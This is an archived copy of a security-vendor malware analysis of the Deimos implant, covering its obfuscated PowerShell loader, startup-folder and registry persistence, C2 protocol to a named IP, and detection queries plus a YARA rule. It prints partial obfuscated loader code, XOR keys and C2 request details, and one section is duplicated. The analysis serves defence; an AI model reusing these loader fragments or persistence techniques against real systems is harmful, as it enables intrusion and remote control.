{
	"id": "321e9a87-7492-4ec2-8058-ad49df05c307",
	"created_at": "2026-04-06T00:09:31.903806Z",
	"updated_at": "2026-04-10T03:20:42.615812Z",
	"deleted_at": null,
	"sha1_hash": "1492946d2fc6586e2a8795b56577bb8169b412cf",
	"title": "Going Coast to Coast - Climbing the Pyramid with the Deimos Implant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4773893,
	"plain_text": "Going Coast to Coast - Climbing the Pyramid with the Deimos\r\nImplant\r\nBy Andrew Pease, Daniel Stepanic, Derek Ditch\r\nPublished: 2022-06-08 · Archived: 2026-04-05 14:41:07 UTC\r\nA remote access tool is actively being developed in campaigns beyond the initially reported\r\nJupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns\r\nThe malware employs multiple layers of complex obfuscation and encryption techniques\r\nThe malware has incorporated convincing lure files and digitally signed installation executables\r\nThe malware is part of intrusion sets that are used to establish an initial foothold and maintain\r\npersistence into contested environments\r\nA successful takedown was completed by the Elastic Security team for the observed C2\r\ninfrastructure\r\nThe Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under\r\nactive development, with the aim of evading detection by using multiple layers of complex obfuscation and\r\nencryption techniques.\r\nThese advanced defensive countermeasures, which also include convincing lure files and digitally signed\r\ninstallation executables, can frustrate identification and analysis. However, the Elastic Security team recently\r\ncompleted a successful takedown of the observed command and control (C2) infrastructure, allowing us to\r\nprovide detection rules and hunting techniques to aid in identifying this powerful implant.\r\nThis post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help\r\nsecurity practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing\r\ninformation about how Deimos works that its creators have attempted to obscure for defensive purposes.\r\nOverview\r\nThe Elastic Intelligence \u0026 Analytics team tracks a new strain of the Deimos initial access and persistence implant\r\npreviously associated with the Jupyter Infostealer malware (tracked elsewhere as Yellow Cockatoo, and\r\nSolarMarker). This implant has demonstrated a maturation of obfuscation techniques as a result of published\r\nresearch. This indicates that the activity group is actively modifying its codebase to evade detective\r\ncountermeasures.\r\nThe sample we observed was not leveraged as an information stealer. It is an implant that provides initial access,\r\npersistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that\r\nrequire remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the\r\nvictims or will be sold off in bulk for other campaigns unassociated with the access collection.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 1 of 19\n\nThe analysis will leverage David Bianco's Pyramid of Pain analytical model to describe the value of atomic\r\nindicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the\r\nefficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting\r\ntechniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts\r\nand TTPs.\r\nDetails\r\nOn August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter\r\nInfostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [1] [2] [3] [4] [5]. As we\r\nbegan analysis and compared the samples we observed to prior research, we identified a change in the way\r\nobfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the\r\nadversary to bypass or otherwise evade existing defenses or malware analysis.\r\nNote: As previous versions of this malware have been thoroughly documented, we will focus on newly observed\r\ncapabilities and functionality.\r\nDuring dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere\r\n- namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution),\r\ndirectories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics\r\nemployed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's\r\nexecution.\r\n\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -command \"$650326ac2b1100c4508b8a700b658ad7='C:\\Use\r\nFigure 1: PowerShell executed by malware installer\r\nThe sample we observed created a Base64-encoded file nested several subdirectories deep in the\r\n%USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script\r\n($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is\r\ndeleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell\r\ncommand which made it visible during execution. This shows an adaptation of the obfuscation techniques\r\nleveraged by the malware authors in response to reports published by security researchers.\r\nFromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c\r\nFigure 2: Base64 encoded file read and then deleted\r\nAdditionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example)\r\nwith a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the\r\nPowerShell command, we determined that this value was the XOR key used to decrypt the value of the\r\n650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the\r\nability to decrypt it, we needed to prevent it from being deleted.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 2 of 19\n\nTo do this, we leveraged the FileDelete event configuration for Sysmon. By default, this creates a directory in the\r\n\"C:\\Sysmon\" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's +\r\nextension) in that folder. This directory is only available to the SYSTEM user. We used PSExec to access the\r\nfolder (psexec -sid cmd). The file contained a single-line Base64-encoded string.\r\nAs we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have\r\nthe key for. Using the command-line tools base64 and xortool, we're able to decode and decrypt the file:\r\nbase64\r\n-D - use the base64 program to decode\r\n-i - the input file to be decoded\r\n-o - the output file to save the decoded content\r\nxortool-xor\r\n-r - the XOR cipher key\r\n-f - the file that is XOR encrypted\r\n\\\u003e - output the decrypted file\r\nbase64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \\\r\n-o 650326ac2b1100c4508b8a700b658ad7.decoded\r\nxortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \\\r\n-f 650326ac2b1100c4508b8a700b658ad7.decoded \\\r\n\\\u003e 650326ac2b1100c4508b8a700b658ad7.xor\r\nFigure 3: Decrypting the XOR'd Base64 encoded file\r\nThis resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more\r\nPowerShell.\r\n$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...\r\n...CReaTEShorTcuT($ENV:APpDATa+'\\m'+'IcR'+'OSO'+'Ft'+'\\w'+'Ind'+'OW'+'S\\'+'sT'+'ARt'+' ME\r\n'+'nU'+'\\pr'+'OGR'+'aMS\\'+'sT'+'ART'+'uP'+'\\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.t\r\n13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0\r\nFigure 4: Final obfuscated file (truncated)\r\nFollowing the same process as before, we identified the XOR key (which may have been trying to use an = sign to\r\nappear to look like it was Base64) and decoded the file.\r\nXjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0Z\r\nFigure 5: XOR cipher key\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 3 of 19\n\nThis process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more\r\nabout the tracking ID is in the Analysis - Initial Access section).\r\nadab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows\r\nFigure 6: .NET DLL file type\r\nThe DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security\r\nresearcher Squibydoo [1] [2] [3] [4] [5]. The particular samples that we've observed utilize the .NET hardening\r\ntool Dotfuscator CE 6.3.0 to hinder malware analysis.\r\nWhat we found particularly interesting is that the authors have spent time modifying the malware in an attempt to\r\nmake it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we\r\nmove into the analysis phase because it means that we can make an impact on a valuable malware implant that\r\nwill frustrate those using it for financial gain.\r\nAnalysis\r\nAll indicators referenced in the analysis are located in the Indicators section.\r\nThe Pyramid of Pain\r\nBefore we get into the analysis, let's discuss the model we used to help guide our process.\r\nIn 2013, security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is\r\nintended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in\r\nthe model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs\r\nis very difficult for an adversary to change.\r\nFigure 7: Pyramid of Pain\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 4 of 19\n\nThe goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the\r\nimpact (read: the amount of \"pain\") you can inflict. Throughout the analysis of the observed samples, we'll\r\noverlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.\r\nFile Hashes\r\nOnce we identified that we had observed a new variant of the malware sample, we applied search queries to our\r\ndataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be\r\ntargeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded\r\nfiles are also all different.\r\nSo while this information is useful, it is apparent that using a file hash as a detection method would not be useful\r\nacross organizations.\r\nIP Addresses\r\nAs other researchers have noted, we observed the same IP address used in the campaign. This IP address was first\r\nassociated with malicious files on August 30, 2021.\r\nIP 216.230.232.134\r\nAnycast false\r\nCity Houston\r\nRegion Texas\r\nCountry United States (US)\r\nLocation 29.7633,-95.3633\r\nOrganization AS40156 The Optimal Link Corporation\r\nPostal 77052\r\nTimezone America/Chicago\r\nFigure 8: Information on identified IP address\r\nThis IP address has been reported to multiple abuse sites and identified independently by multiple security\r\nresearchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has\r\nremoved the observed C2 infrastructure access to any implants.\r\nWhile this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP\r\naddress, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.\r\nArtifacts\r\nResource Development\r\nThe lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed\r\nwith a digital certificate registered as a \"Spoloènos s Ruèením Obmedzeným\" (S.R.O.). An S.R.O. is a business\r\ndesignation for Slovakian businesses owned by a foreign entity.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 5 of 19\n\nThe S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the\r\nsignature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a\r\ndifferent S.R.O. (SRO #2).\r\nFile Hashes\r\nOnce we identified that we had observed a new variant of the malware sample, we applied search queries to our\r\ndataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be\r\ntargeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded\r\nfiles are also all different.\r\nSo while this information is useful, it is apparent that using a file hash as a detection method would not be useful\r\nacross organizations.\r\nIP Addresses\r\nAs other researchers have noted, we observed the same IP address used in the campaign. This IP address was first\r\nassociated with malicious files on August 30, 2021.\r\nIP 216.230.232.134\r\nAnycast false\r\nCity Houston\r\nRegion Texas\r\nCountry United States (US)\r\nLocation 29.7633,-95.3633\r\nOrganization AS40156 The Optimal Link Corporation\r\nPostal 77052\r\nTimezone America/Chicago\r\nFigure 8: Information on identified IP address\r\nThis IP address has been reported to multiple abuse sites and identified independently by multiple security\r\nresearchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has\r\nremoved the observed C2 infrastructure access to any implants.\r\nWhile this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP\r\naddress, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.\r\nArtifacts\r\nResource Development\r\nThe lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 6 of 19\n\nwith a digital certificate registered as a \"Spoloènos s Ruèením Obmedzeným\" (S.R.O.). An S.R.O. is a business\r\ndesignation for Slovakian businesses owned by a foreign entity.\r\nThe S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the\r\nsignature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a\r\ndifferent S.R.O. (SRO #2).\r\nFigure 9: Lure file digital signing S.R.O. (SRO #1) and owner (SRO #2)\r\nSRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has\r\na single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 7 of 19\n\nFigure 10: SRO #2 and SRO #1 sharing the same executive manager\r\nWe are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling\r\nparticipants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other\r\nsamples we analyzed. It is obvious that however these certificates were procured, the person (or persons)\r\nresponsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business\r\nin Slovakia.\r\nInitial Access\r\nWe observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to\r\na defender because they are difficult for an adversary to change without considerable rearchitecting of the way the\r\nmalware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are\r\nmodular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the\r\nsource code prior to compilation and require significant work to adjust.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 8 of 19\n\nThe dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and\r\nlowercase. In all cases we've observed, there are six nested directories, and a single file within the final\r\nsubdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with\r\na 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the\r\nDetection section that identifies this activity.\r\nAdditionally, the .Net assembly creates a string by listing all files located at\r\n%USERPROFILE%\\APPDATA\\ROAMING. This is stored as the hwid value, which is a unique identifier for this\r\nmachine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom\r\nBase64 encoding.\r\nPersistence\r\nOnce executed, the PowerShell script establishes persistence of the malware generating a random quantity\r\nbetween 100 and 200 files in a directory named %APPDATA%\\Microsoft\\\u003crandom string\u003e . The random string\r\ncontains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20\r\ncharacters in length. This directory is the staging directory. These files contain randomly generated bytes between\r\n50,000 bytes and 200,000 bytes. The files themselves are named \u003crandom string\u003e.\u003crandom string\u003e , where each\r\nrandom string follows the same convention as the directory name. Lastly, one final file is written to this directory\r\nwhich contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with\r\nsimilar attributes in this directory, further attempting to evade defenses.\r\nThe next function script will create two registry keys that provide a Windows shell handler for the first file of\r\nrandom data created above. It uses the file extension of that file to associate a request to execute it with running a\r\nPowerShell command. The registry keys are created at HKEY\\_CURRENT\\_USER\\Software\\Classes\\\u003crandom\r\nstring\u003e\\ , where the random string follows the same convention as mentioned above, except for all lowercase\r\ncharacters. The first key will further have a subkey of \\Shell\\Open\\Command that contains the loader PowerShell\r\nscript. The string value itself has mixed cases in an effort to be more difficult to search for. For example\r\nPowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the\r\nfirst randomly generated file above. It's value matches the lowercase value of the random string used in the first\r\nkey's path.\r\nThe final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly\r\ngenerated file above and will open in a minimized window. Upon user login, the link file will tell Windows to\r\nlaunch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command\r\nconfigured in the first key above to execute the file. The PowerShell command contains the full path to the\r\nobfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by\r\nPowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to\r\nfollow in text, so below is a visual representation of the persistence mechanism.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 9 of 19\n\nFigure 11: Persistence mechanism flow\r\nCommand and Control Phase\r\nThe malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can\r\nreceive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell\r\ncommands.\r\nThere are a few command-specific permutations of payload encapsulations, but they are passed to a common\r\nmethod to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-\r\nminute timeout on establishing communication.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 10 of 19\n\nNo additional headers are set other than the default headers populated by the .Net WebRequest provider, which\r\nare: Host, Content-Length, and Connection: Keep-Alive.\r\nPOST / HTTP/1.1\r\nHost: 216.230.232.134\r\nContent-Length: 677\r\nConnection: Keep-Alive\r\nFigure 12: C2 HTTP headers\r\nFigure 13 depicts the hex dump of the body of the client's POST request.\r\nFigure 13: C2 HTTP body\r\nThe first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network\r\ncommunication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the\r\nend of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from\r\nthe server. This is likely to prevent replaying captured packets to the server, as each communication is unique.\r\nThere is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case\r\nof the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body.\r\nFor the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in\r\nfollow-on communications, and the unique hardware ID for this implant. For the remaining communications, the\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 11 of 19\n\nclient uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-\r\nbytes in length.\r\nThe RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in Figure\r\n24, we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique\r\ncampaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included\r\ninformation stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the\r\nsamples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is\r\ngaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.\r\nMain Loop\r\nOnce the check-in process is completed, the main process loop begins. The default action of the implant during the\r\nmain loop is the ping action. ping sends information about the environment, including the machine name,\r\nWindows version, CPU architecture, information about if the user has administrative privileges, and a version\r\nstring for the implant.\r\nIf a task is scheduled for the implant, the response to the ping command will contain a status value that is set to\r\neither \"file\" or \"command\". If no task is given, the implant will sleep for 20 seconds + a random wait between 0\r\nand 20 seconds. This is the wait time between all tasks.\r\nFor \"file\" tasks, the implant immediately performs another request using the task_id attribute from the task\r\ndefinition to retrieve the file. The implant expects an \"exe\" file, a \"ps1\" file, or a \"module\", which is a .Net\r\nAssembly file.\r\nWhen an \"exe\" is downloaded, it will be written to a file in the %TEMP%\\\u003cRANDOM\\_NAME\u003e.exe , where\r\nRANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately\r\nlaunched by executing the file and the status is reported on the next task interval.\r\nWhen a \"ps1\" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard\r\nInput.\r\nFinally, \"module\" files are added to a \"plugin manager\" and executes the \"Run\" method.\r\nFor \"command\" tasks, no additional request is required. The \"command\" value from the response contains\r\nPowerShell code that will be executed the same as the \"ps1\" file type.\r\nPresumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the\r\n\"command\" type. For larger scripts, the \"file\" type would be used.\r\nTools\r\nLooking at the metadata from all of the observed samples, we can see a high-confidence connection in that they\r\nwere all created using a single PDF software platform.\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 12 of 19\n\nComments : This installation was built with Inno Setup.\r\nCompany Name :\r\nFile Description : SlimReader Setup\r\nFile Version :\r\nLegal Copyright : (c) InvestTech\r\nOriginal File Name :\r\nProduct Name : SlimReader\r\nProduct Version : 1.4.1.2\r\nFigure 14: Malware lure file metadata\r\nWhile this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53\r\nmalware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at\r\neSentire identified SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of\r\nlure files.\r\nTTPs\r\nAt the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported\r\nby security researchers. In all observed cases, the malware used techniques known as Google Sneaky Redirects\r\nand Search Engine Optimization (SEO) Poisoning to trick users into installing the malware.\r\nSEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so\r\nmalicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a\r\ntechnique used to name the initial malware installer after the Google search as a way to fool the user into clicking\r\non the file they downloaded. As an example, if a user searches for \"free resume template\", and then clicks on a\r\nmalicious website that appears to have that file, they will be presented with a malware installer named, in this\r\nexample, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an\r\nattempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the\r\nElastic Analyzer view.\r\nFigure 15: Malware executing obfuscated PowerShell processes\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 13 of 19\n\nUnderstanding the malware processes as well as how it interacts with the different elements with the Pyramid of\r\nPain is paramount to inflicting long-term impacts to the activity group and intrusion sets.\r\nImpact\r\nThe described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT\u0026CK®\r\nframework. Other TTPs may exist, however, they were not observed during our analysis.\r\nTactics\r\nResource Development\r\nInitial Access\r\nExecution\r\nPersistence\r\nDefense Evasion\r\nCommand and Control\r\nTechniques / Sub Techniques\r\nAcquire Infrastructure - Virtual Private Server\r\nDevelop Capabilities - Malware, Code Signing Certificates or Obtain Capabilities - Malware, Code\r\nSigning Certificates\r\nDrive-by Compromise\r\nCommand and Scripting Interpreter - PowerShell\r\nUser Execution - Malicious File\r\nBoot or Logon Autostart Execution - Registry Run Keys / Startup Folder\r\nDeobfuscate/Decode Files or Information\r\nObfuscated Files or Information - Indicator Removal from Tools\r\nApplication Layer Protocol - Web Protocols\r\nDetection\r\nThere is an existing detection rule that will generically identify this activity. We are also releasing two additional\r\nrules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion\r\nsets leveraging similar techniques.\r\nDetection Logic\r\nElastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.\r\nNew Detection Rules\r\nSuspicious Registry Modifications\r\nAbnormal File Extension in User AppData Roaming Path\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 14 of 19\n\nHunting Queries\r\nThese queries can be used in Kibana's Security -\u003e Timelines -\u003e New Timeline → Correlation query editor. While\r\nthese queries will identify this intrusion set, they can also identify other events of note that, once investigated,\r\ncould lead to other malicious activities.\r\nThis query will identify the initial dropped file containing the obfuscated installer.\r\nfile where file.path regex \"\"\"C:\\\\Users\\\\[^\\\\]*\\\\([a-z0-9]{32}\\\\){6}[a-z0-9]{32}\"\"\"\r\nFigure 16: Hunt query identifying initial installer\r\nFigure 17: Hunt query identifying initial installer using Timelines\r\nThis query will identify the unique “Hardware ID” file ( hwid ) that is created the first time the implant is run.\r\nThis ID file is used to uniquely identify this installation.\r\nfile where file.path regex~ \"\"\".*\\\\APPDATA\\\\ROAMING\\\\[A-Za-z0-9_]{96,192}\"\"\"\r\nFigure 18: Hunt query identifying Hardware ID\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 15 of 19\n\nFigure 19: Hunt query identifying Hardware ID using Timelines\r\nThis query will identify any files with a file extension of ten or more characters in the AppData\\Roaming path.\r\nfile where file.path : \"*\\\\appdata\\\\roaming\\\\*\" and\r\nlength(file.extension) \u003e= 10 and\r\nprocess.name : (\"cmd.exe\", \"powershell.exe\", \"wmic.exe\", \"mshta.exe\", \"pwsh.exe\", \"cscript.exe\", \"wscript.exe\",\r\nFigure 20: Hunt query identifying long file extensions\r\nFigure 21: Hunt query identifying long file extensions in Timelines\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 16 of 19\n\nThis query will identify a long string value containing the word \"powershell\" in the Registry.\r\nregistry where registry.data.strings : \"*powershell*\" and length(registry.data.strings) \\\u003e= 100\r\nFigure 22: Hunt query identifying long Registry strings\r\nFigure 23: Hunt query identifying long Registry strings in Timelines\r\nYARA Rules\r\nWe have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.\r\nrule Windows_Trojan_Deimos_DLL {\r\nmeta:\r\nauthor = \"Elastic Security\"\r\ncreation_date = \"2021-09-18\"\r\nlast_modified = \"2021-09-18\"\r\nos = \"Windows\"\r\narch = \"x86\"\r\ncategory_type = \"Trojan\"\r\nfamily = \"Deimos\"\r\nthreat_name = \"Windows.Trojan.Deimos\"\r\ndescription = \"Detects the presence of the Deimos trojan DLL file.\"\r\nreference = \"\"\r\nreference_sample = \"2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e\"\r\nstrings:\r\n$a1 = \"\\\\APPDATA\\\\ROAMING\" wide fullword\r\n$a2 = \"\\{\\\"action\\\":\\\"ping\\\",\\\"\" wide fullword\r\n$a3 = \"Deimos\" ascii fullword\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 17 of 19\n\n$b1 = \\{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \\}\r\n$b2 = \\{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \\}\r\ncondition:\r\nall of ($a*) or 1 of ($b*)\r\n\\}\r\nFigure 24: Deimos DLL YARA Rule\r\nYou can access this YARA rule here.\r\nDefensive Recommendations\r\nThe following steps can be leveraged to improve a network's protective posture.\r\n1. Review and implement the above detection logic within your environment using technology such as\r\nSysmon and the Elastic Endpoint or Winlogbeat.\r\n2. Review and ensure that you have deployed the latest Microsoft Security Updates\r\n3. Maintain backups of your critical systems to aid in quick recovery.\r\nReferences\r\nThe following research was referenced throughout the document:\r\nhttps://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\r\nhttps://redcanary.com/blog/yellow-cockatoo\r\nhttps://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis\r\nhttps://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?\r\nName=VirTool:MSIL/Deimos.A!rfn\u0026ThreatID=2147770772\r\nhttp://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\r\nhttps://blog.morphisec.com/jupyter-infostealer-backdoor-introduction\r\nhttps://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer\r\nhttps://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two\r\nhttps://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire\r\nhttps://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882\r\nIndicators\r\nIndicators Type Note\r\nf268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421\r\nSHA256\r\nhash\r\nLure file\r\naf1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f\r\nSHA256\r\nhash\r\nMalware\r\ninstaller\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 18 of 19\n\nIndicators Type Note\r\nd6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54\r\nSHA256\r\nhash\r\n.NET DLL file\r\n216[.]230[.]232[.]134 IP address\r\nCommand and\r\ncontrol\r\nSource: https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nhttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
	],
	"report_names": [
		"going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
	],
	"threat_actors": [],
	"ts_created_at": 1775434171,
	"ts_updated_at": 1775791242,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1492946d2fc6586e2a8795b56577bb8169b412cf.pdf",
		"text": "https://archive.orkl.eu/1492946d2fc6586e2a8795b56577bb8169b412cf.txt",
		"img": "https://archive.orkl.eu/1492946d2fc6586e2a8795b56577bb8169b412cf.jpg"
	}
}